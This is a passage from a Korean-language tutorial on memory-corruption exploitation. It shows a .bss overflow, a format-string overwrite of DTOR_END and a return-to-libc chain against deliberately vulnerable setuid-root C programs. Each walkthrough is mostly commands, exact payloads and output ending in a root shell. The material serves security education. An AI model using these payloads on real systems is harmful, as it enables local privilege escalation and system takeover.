<main+16>: movl $0x80483d0,0x8049680 0x804839e <main+26>: sub $0x8,%esp 0x80483a1 <main+29>: mov 0xc(%ebp),%eax 0x80483a4 <main+32>: add $0x4,%eax 0x80483a7 <main+35>: pushl (%eax) 0x80483a9 <main+37>: push $0x8049580 0x80483ae <main+42>: call 0x80482c4 <strcpy> 0x80483b3 <main+47>: add $0x10,%esp 0x80483b6 <main+50>: sub $0xc,%esp

0x80483b9 <main+53>: push $0x8049580 0x80483be <main+58>: mov 0x8049680,%eax 0x80483c3 <main+63>: call *%eax 0x80483c5 <main+65>: add $0x10,%esp 0x80483c8 <main+68>: mov $0x0,%eax 0x80483cd <main+73>: leave 0x80483ce <main+74>: ret 0x80483cf <main+75>: nop End of assembler dump. (gdb) main inf sec Exec file: `/home/poc/bss/vul', file type elf32-i386. 0x080480f4->0x08048107 at 0x000000f4:.interp ALLOC LOAD READONLY DATA HAS_CONTENTS 0x08048108->0x08048128 at 0x00000108:.note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS 0x08048128->0x08048158 at 0x00000128:.hash ALLOC LOAD READONLY DATA HAS_CONTENTS 0x08048158->0x080481c8 at 0x00000158:.dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS 0x080481c8->0x08048223 at 0x000001c8:.dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS 0x08048224->0x08048232 at 0x00000224:.gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS 0x08048234->0x08048254 at 0x00000234:.gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS 0x08048254->0x08048264 at 0x00000254:.rel.dyn ALLOC LOAD READONLY DATA HAS_CONTENTS 0x08048264->0x0804827c at 0x00000264:.rel.plt ALLOC LOAD READONLY DATA HAS_CONTENTS 0x0804827c->0x08048294 at 0x0000027c:.init ALLOC LOAD READONLY CODE HAS_CONTENTS 0x08048294->0x080482d4 at 0x00000294:.plt ALLOC LOAD READONLY CODE HAS_CONTENTS 0x080482d4->0x08048418 at 0x000002d4:.text ALLOC LOAD READONLY CODE HAS_CONTENTS 0x08048418->0x08048434 at 0x00000418:.fini ALLOC LOAD READONLY CODE HAS_CONTENTS 0x08048434->0x0804843f at 0x00000434:.rodata ALLOC LOAD READONLY DATA HAS_CONTENTS 0x08049440->0x0804944c at 0x00000440:.data ALLOC LOAD DATA HAS_CONTENTS 0x0804944c->0x08049450 at 0x0000044c:.eh_frame ALLOC LOAD DATA HAS_CONTENTS 0x08049450->0x08049518 at 0x00000450:.dynamic ALLOC LOAD DATA HAS_CONTENTS 0x08049518->0x08049520 at 0x00000518:.ctors ALLOC LOAD DATA HAS_CONTENTS 0x08049520->0x08049528 at 0x00000520:.dtors ALLOC LOAD DATA HAS_CONTENTS 0x08049528->0x0804952c at 0x00000528:.jcr ALLOC LOAD DATA HAS_CONTENTS 0x0804952c->0x08049548 at 0x0000052c:.got ALLOC LOAD DATA HAS_CONTENTS

0x08049560->0x08049684 at 0x00000560:.bss ALLOC 0x00000000->0x00000132 at 0x00000560:.comment READONLY HAS_CONTENTS 0x00000000->0x00000058 at 0x00000698:.debug_aranges READONLY HAS_CONTENTS 0x00000000->0x00000025 at 0x000006f0:.debug_pubnames READONLY HAS_CONTENTS 0x00000000->0x00000c85 at 0x00000715:.debug_info READONLY HAS_CONTENTS 0x00000000->0x00000127 at 0x0000139a:.debug_abbrev READONLY HAS_CONTENTS 0x00000000->0x000001f2 at 0x000014c1:.debug_line READONLY HAS_CONTENTS 0x00000000->0x00000014 at 0x000016b4:.debug_frame READONLY HAS_CONTENTS 0x00000000->0x0000098a at 0x000016c8:.debug_str READONLY HAS_CONTENTS (gdb) 이결과를보면 strcpy() 함수호출후 func() 함수의호출 (0x80483c3 <main+63>: call *%eax) 이있음을확인할수있다. 그리고.bss 영역의주소범위를확인할수있다. 다음은공격과정이다. 여기서도역시 eggshell 을사용했다. [poc@localhost bss]$./eggshell Using address: 0xbffff9c8 [poc@localhost bss]$./vul `perl -e 'print "A"x251,"\xc8\xf9\xff\xbf"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [poc@localhost bss]$./vul `perl -e 'print "A"x252,"\xc8\xf9\xff\xbf"'` 세그멘테이션오류 [poc@localhost bss]$ 세그멘테이션오류가나는지점을확인했다. 여기에 4 바이트만더더해공략하면성공할것이다. [poc@localhost bss]$./vul `perl -e 'print "A"x256,"\xc8\xf9\xff\xbf"'` sh-2.05b# id uid=0(root) gid=501(poc) groups=501(poc) sh-2.05b#

d: Format string exploitation ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 취약한프로그램은다음과같다. [poc@localhost fsb]$ cat > vul.c #include <stdio.h> int main(int argc, char **argv) { char buffer[256]; snprintf(buffer, sizeof(buffer), "%s", argv[1]); fprintf(stdout, buffer); } [poc@localhost fsb]$ gcc -o vul vul.c [poc@localhost fsb]$ su Password: [root@localhost fsb]# chown root vul [root@localhost fsb]# chgrp root vul [root@localhost fsb]# chmod 4755 vul [root@localhost fsb]# ls -l vul -rwsr-xr-x 1 root root 11559 5월 11 02:19 vul [root@localhost fsb]# Format string 버그를공략하는것은보기처럼어렵지않다. 쓸만한계산기가필요하다. format string 버그를공략할때도환경변수에쉘코드를등록할필요가있다. 이를위해 eggshell 을사용하면 역시간단하다. 포맷스트링공격에서먼저해야할것은스택상에 user-space 영역에대한 offset을확인하는것이다. 이 user-space는공격자가통제할수있으며, 포맷스트링공격의성공에중요한부분이다. offset을확인하는방법에는두가지가있다. 첫번째방법은공격자가입력한데이터가다음과같이출력될때까지스택으로부터 pop되도록 %x 또는 %p 지정자를 argv[1] 로입력하는것이다. 원문에는없지만. 을넣은것은구분을쉽게하기위해서이다. [poc@localhost fsb]$./vul AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p AAAA.0x804841c.0xbffffb4c.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x

252e7025.0x70252e70.0x2e70252e.0x252e7025.0x7 [poc@localhost fsb]$ [poc@localhost fsb]$./vul AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x AAAA.804841c.bffffb43.41414141.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e7 8.2e78252e.252e7825.78252e78.2e78252e.252e782 [poc@localhost fsb]$ A 의문자열이나타나는지점인 offset 은 3 이라는것을알수있다. offset 을확인하는두번째방법은 다음과같이위치지정자 (placement specifier) $ 를사용하는것이다. [poc@localhost fsb]$./vul AAAA%1\$p AAAA0x804841c [poc@localhost fsb]$./vul AAAA%2\$p AAAA0xbffffb43 [poc@localhost fsb]$./vul AAAA%3\$p AAAA0x41414141 [poc@localhost fsb]$ 공격을위해쉘코드의주소로덮어쓸주소가필요하다. 리턴어드레스를덮어쓰기도하고,.dtors 섹션을덮어쓰기도하는데, 리턴어드레스를 gdb를통해알아내도 gdb가스택을이용하기때문에정확한주소를파악하기가힘들다. 힘들기보다는확인한주소와실제주소사이에차이가날수있다. 그래서포맷스트링공격에서는.dtors 섹션을덮어쓰는것이더용이하다. 취약한프로세스의 DTOR_END 주소를파악해서사용하는데, 이주소가프로그램이 exit할때호출되는주소이기때문이다. 다음과같이간단하게확인할수있다. [poc@localhost fsb]$ readelf -a./vul grep DTOR_END 48: 08049504 0 OBJECT LOCAL DEFAULT 19 DTOR_END [poc@localhost fsb]$ 이제까지우리는 offset 을비롯하여쉘코드의주소, DTOR_END 의주소를확인했다. 이제해야할것은이

주소를포맷스트링으로설정해야한다. 이를위해 DTOR_END 의주소를두부분으로나누어쓰는데, 주소의낮은전반부 (lowest half) 를먼저, 나머지후반부 (highest half) 를그다음으로쓴다. 0x08049504 <---= lowest 0x08049504+2 0x08049506 <---= highest 이것은포맷스트링의시작부분이다음과같다는것을의미한다. "\x04\x95\x04\x08\x06\x95\x04\x08" 포맷스트링공격에서다소복잡한계산을하게되는데, 이를위해 pcalc 라는프로그램을원본에서 사용하고있다. 그래서이것을사용해보기로하겠다. 다운부터설치및사용까지의과정을제공한다. [poc@localhost fsb]$ wget http://www.ibiblio.org/pub/linux/apps/math/calc/pcalc- 000.tar.gz --07:38:06-- http://www.ibiblio.org/pub/linux/apps/math/calc/pcalc-000.tar.gz => `pcalc-000.tar.gz' Resolving www.ibiblio.org... 완료. Connecting to www.ibiblio.org[152.2.210.80]:80... connected. HTTP 요청을보냅니다, 서버로부터의응답을기다림...200 OK 길이 : 103,437 [application/x-tar] 100%[============================================================================== ======>] 103,437 6.79K/s ETA 00:00 07:38:28 (6.79 KB/s) - `pcalc-000.tar.gz' 가보존되었습니다 [103437/103437] [poc@localhost fsb]$ tar xvfz pcalc-000.tar.gz pcalc-000/discaimer pcalc-000/example pcalc-000/makefile pcalc-000/readme pcalc-000/convert.c

pcalc-000/convert.h pcalc-000/funct.c pcalc-000/help.c pcalc-000/help.h pcalc-000/hocdecl.h pcalc-000/math.c pcalc-000/pack pcalc-000/pcalc pcalc-000/pcalc.c pcalc-000/pcalc.h pcalc-000/pcalc.lsm pcalc-000/pcalc.mak pcalc-000/pcalc.map pcalc-000/pcalc.old pcalc-000/pcalc.tab.c pcalc-000/pcalc.tab.h pcalc-000/pcalc.txt pcalc-000/pcalc.y pcalc-000/pcalcl.c pcalc-000/pcalcl.l pcalc-000/print.c pcalc-000/print.h pcalc-000/ptest/ pcalc-000/ptest/pcalc.001 pcalc-000/ptest/pcalc.002 pcalc-000/ptest/pcalc.003 pcalc-000/ptest/pcalc.004 pcalc-000/ptest/pcalc.005 pcalc-000/ptest/pcalc.006 pcalc-000/ptest/pcalc.007 pcalc-000/ptest/pcalc.008 pcalc-000/ptest/pcalc.009 pcalc-000/ptest/pcalc.010 pcalc-000/ptest/pcalc.011 pcalc-000/ptest/pcalc.var pcalc-000/skelcom.h

pcalc-000/skeleton.c pcalc-000/skeleton.h pcalc-000/store.c pcalc-000/store.h pcalc-000/str.c pcalc-000/str.h pcalc-000/symbol.c pcalc-000/symbol.h pcalc-000/testdat pcalc-000/testdata pcalc-000/testorig pcalc-000/win32/ pcalc-000/win32/demo.bat pcalc-000/win32/makeall.bat pcalc-000/win32/makesed.bat pcalc-000/win32/ready.bat pcalc-000/win32/tst.bat pcalc-000/win32/pcalc.exe [poc@localhost fsb]$ cd pcalc-000 [poc@localhost pcalc-000]$ make cc -c -o pcalc.o pcalc.c flex -opcalcl.c pcalcl.l "pcalcl.l", line 290: warning, rule cannot be matched cc -c pcalcl.c -o pcalcl.o pcalcl.l:506:2: warning: no newline at end of file cc -c -o funct.o funct.c cc -c -o math.o math.c cc -c -o symbol.o symbol.c cc -c -o help.o help.c cc -c -o store.o store.c cc -c -o print.o print.c cc -c -o str.o str.c cc -c -o convert.o convert.c cc pcalc.o pcalcl.o funct.o math.o symbol.o help.o store.o print.o str.o convert.o -o pcalc -lm [poc@localhost pcalc-000]$

다시공격과정으로돌아가자. 먼저 eggshell 을실행해서환경변수에등록된쉘코드의주소를다시확인한다. [poc@localhost fsb]$./eggshell Using address: 0xbffff988 [poc@localhost fsb]$ 이제쉘코드의주소에대해필요한계산을한다. [poc@localhost fsb]$ cd pcalc-000 [poc@localhost pcalc-000]$./pcalc 0xf988 63880 0xf988 0y1111100110001000 [poc@localhost pcalc-000]$./pcalc 0xf988-8 63872 0xf980 0y1111100110000000 [poc@localhost pcalc-000]$./pcalc 0x1bfff-0xf988 50807 0xc677 0y1100011001110111 [poc@localhost pcalc-000]$ cd.. 다음은공격스트링을설정할차례이다. [poc@localhost fsb]$ printf "\x04\x95\x04\x08\x06\x95\x04\x08" > fmt [poc@localhost fsb]$ [poc@localhost pcalc-000]$ cd.. [poc@localhost fsb]$ echo -n "%.63872u%3\$hn" >> fmt [poc@localhost fsb]$ echo -n "%.50807u%4\$hn" >> fmt 마지막으로공격을시도한다. [poc@localhost fsb]$./vul `cat fmt` 00000000000000000000000000000000000000000000000000000000000000000000000000000000000 - 중략 - 00000000000000000000000000000000000000000000000000000000000000000000000000000000000

00000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000sh-2.05b# id uid=0(root) gid=501(poc) groups=501(poc) sh-2.05b# whoami root sh-2.05b# root 쉘을획득했다. 공격과정에서설명이필요한부분이쉘코드의주소의전반부 (lowest half) 0xf988에서 8바이트를뺀것인데, 이것은 DTOR_END의주소값을처리한 "\x04\x95\x04\x08\x06\x95\x04\x08" 이 %hn에의해쓰여지기때문이다. 이것은 0x8049504에쉘코드의주소의전반부인 0xf988를쓰게된다. 다음후반부 (highest half) 는 0x8049506에쓰여질것이다. 이것은 DTOR_END의주소전체를마저덮어쓰게된다. e: Return-to-libc exploitation ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 취약한프로그램은다음과같으며, 테스트를위해기본적인설정을한다. [root@localhost rtl]# cat > vul.c #include <stdio.h> #include <string.h> #include <stdlib.h> #define MAX 768 int vector(char *buffer, char *ptr) { strcpy(buffer, ptr);

return EXIT_SUCCESS; } int main(int argc, char **argv) { char pattern[max]; vector(pattern, argv[1]); fprintf(stdout, "Pattern: %s\n", pattern); return EXIT_SUCCESS; } [root@localhost rtl]# gcc -o vul vul.c [root@localhost rtl]# chown root vul [root@localhost rtl]# chgrp root vul [root@localhost rtl]# chmod 4755 vul [root@localhost rtl]# ls -l vul -rwsr-xr-x 1 root root 11620 5월 11 11:34 vul [root@localhost rtl]# su poc [poc@localhost rtl]$ Return-to-libc 공격은 non-executable stack을극복하기위해나온것이다. Return-to-libc 공격에도다양한기법들이있지만원문에되도록이면충실하고자한다. 여기서우리의목표는 libc 함수인 strcpy() 를이용해쉘코드의주소를취약한프로세스 ( 프로그램 ) 의.data 섹션으로복사하여쉘코드를실행하게하는것이다. 먼저 eggshell을이용하여환경변수에쉘코드를등록시키고, 그주소를확인한다. [poc@localhost rtl]$./egg Using address: 0xbffff9e8 [poc@localhost rtl]$ 다음단계는취약한프로세스로부터 strcpy() 의.plt 엔트리를확인하는것이다..plt 엔트리는다음과 같이간단히확인할수있다. [poc@localhost rtl]$ readelf -a./vul grep strcpy 0804954c 00000607 R_386_JUMP_SLOT 080482c4 strcpy

6: 080482c4 48 FUNC GLOBAL DEFAULT UND strcpy@glibc_2.0 (2) 74: 080482c4 48 FUNC GLOBAL DEFAULT UND strcpy@@glibc_2.0 [poc@localhost rtl]$ strcpy() 의.plt 엔트리는 0x080482c4 임을알수있다. 다음으로우리가할것은프로세스 내로부터.data 섹션의주소를확인하는것이다. 이역시간단하게알아낼수있다. [poc@localhost rtl]$ readelf -a./vul grep.data [14].rodata PROGBITS 08048434 000434 000015 00 A 0 0 4 [15].data PROGBITS 0804944c 00044c 00000c 00 WA 0 0 4 02.interp.note.ABItag.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.plt.text.fini.rodata 03.data.eh_frame.dynamic.ctors.dtors.jcr.got.bss 64: 0804944c 0 NOTYPE WEAK DEFAULT 15 data_start 66: 08049554 0 NOTYPE GLOBAL DEFAULT ABS _edata 70: 0804944c 0 NOTYPE GLOBAL DEFAULT 15 data_start [poc@localhost rtl]$.data 섹션의주소는 0x0804944c 임을확인했다. 이제공격만남았다. [poc@localhost rtl]$./vul `perl -e 'print "A"x768,"\xc4\x82\x04\x08HACK\x4c\x94\x04\x08\xe8\xf9\xff\xbf"'` Pattern: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAHACK 樂? sh-2.05b# id

uid=0(root) gid=501(poc) groups=501(poc) sh-2.05b# whoami root sh-2.05b# 성공했다. 여기서는쉘코드를사용했지만쉘코드를사용하지않고도공격에성공할수있다. 이를위해서는 system(), printf() 등의라이브러리함수의주소를연결해서사용해야한다. 특히 non-executable stack의경우더욱더그러하다. Return-to-libc 공격에서중요한것은 **argv에관련된메모리의배치이다. 왜냐하면 Return-to-libc 공격의기본은 **argv에관련된메모리의배치를잘따라가는것이기때문이다. 다음레이아웃을보자. Example: buffer dummy ebp eip argv[0] argv[1]... system() JUNK ENV ptr ENV ptr는환경변수에등록되어있는 /bin/sh을가리키는문자열에대한포인터가될것이다. 이것은 gdb를통해쉽게파악할수있는데, 이에대한것은역자가발표한 Stack-based Overflow Exploit: Introduction to Classical and Advanced Overflow Technique(http://neworder.box.sk/newsread.php?newsid=12476) 라는글의 3.2. First Way To Get Over the Classical return-into-libc and system() 섹션을참고하길바란다. IV. Summary ~~~~~~~~~~~ V. References ~~~~~~~~~~~~~~ Articles: ~~~~~~~~~ Smashing The Stack For Fun And Profit http://www.phrack.org/phrack/49/p49-14

Advances in format string exploitation http://www.phrack.org/phrack/59/p59-0x07.txt w00w00 heap exploitation http://www.w00w00.org/files/articles/heaptut.txt Vudo malloc tricks http://www.phrack.org/phrack/57/p57-0x08 Once upon a free() http://www.phrack.org/phrack/57/p57-0x09 Advanced return-into-lib(c) exploits http://www.phrack.org/phrack/58/p58-0x04 Bypassing StackGuard and StackShield http://www.phrack.org/phrack/56/p56-0x05 Stack & Format vulnerabilities http://www.core-sec.com/examples/core_format_strings.pdf http://www.core-sec.com/examples/core_vulnerabilities.pdf Tools: ~~~~~~ pcalc http://www.ibiblio.org/pub/linux/apps/math/calc/pcalc-000.tar.gz